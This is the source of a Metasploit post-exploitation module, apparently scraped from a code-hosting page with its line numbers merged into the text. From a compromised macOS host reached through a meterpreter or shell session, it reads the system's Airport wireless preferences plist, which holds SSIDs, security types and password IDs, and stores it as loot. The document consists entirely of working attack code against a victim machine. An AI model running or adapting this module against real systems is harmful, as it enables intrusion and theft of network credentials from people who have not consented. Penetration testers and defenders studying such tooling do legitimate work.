Path: blob/master/modules/post/osx/gather/enum_airport.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'OS X Gather Airport Wireless Preferences',12'Description' => %q{13This module will download OS X Airport Wireless preferences from the victim14machine. The preferences file (which is a plist) contains information such as:15SSID, Channels, Security Type, Password ID, etc.16},17'License' => MSF_LICENSE,18'Author' => [ 'sinn3r'],19'Platform' => [ 'osx' ],20'SessionTypes' => [ 'meterpreter', 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)28end2930def exec(cmd)31tries = 032begin33cmd_exec(cmd).chomp34rescue ::Timeout::Error => e35tries += 136if tries < 337vprint_error("#{@peer} - #{e.message} - retrying...")38retry39end40rescue EOFError => e41tries += 142if tries < 343vprint_error("#{@peer} - #{e.message} - retrying...")44retry45end46end47end4849def get_air_preferences50pref = exec('cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist')51return pref =~ /No such file or directory/ ? nil : pref52end5354def save(data)55p = store_loot(56'apple.airport.preferences',57'plain/text',58session,59data,60'com.apple.airport.preferences.plist'61)6263print_good("#{@peer} - plist saved in #{p}")64end6566def run67@peer = "#{session.session_host}:#{session.session_port}"6869# Download the plist. If not found (nil), then bail70pref = get_air_preferences71if pref.nil?72print_error("#{@peer} - Unable to find airport preferences")73return74end7576# Save the raw version of the plist77save(pref)78end79end808182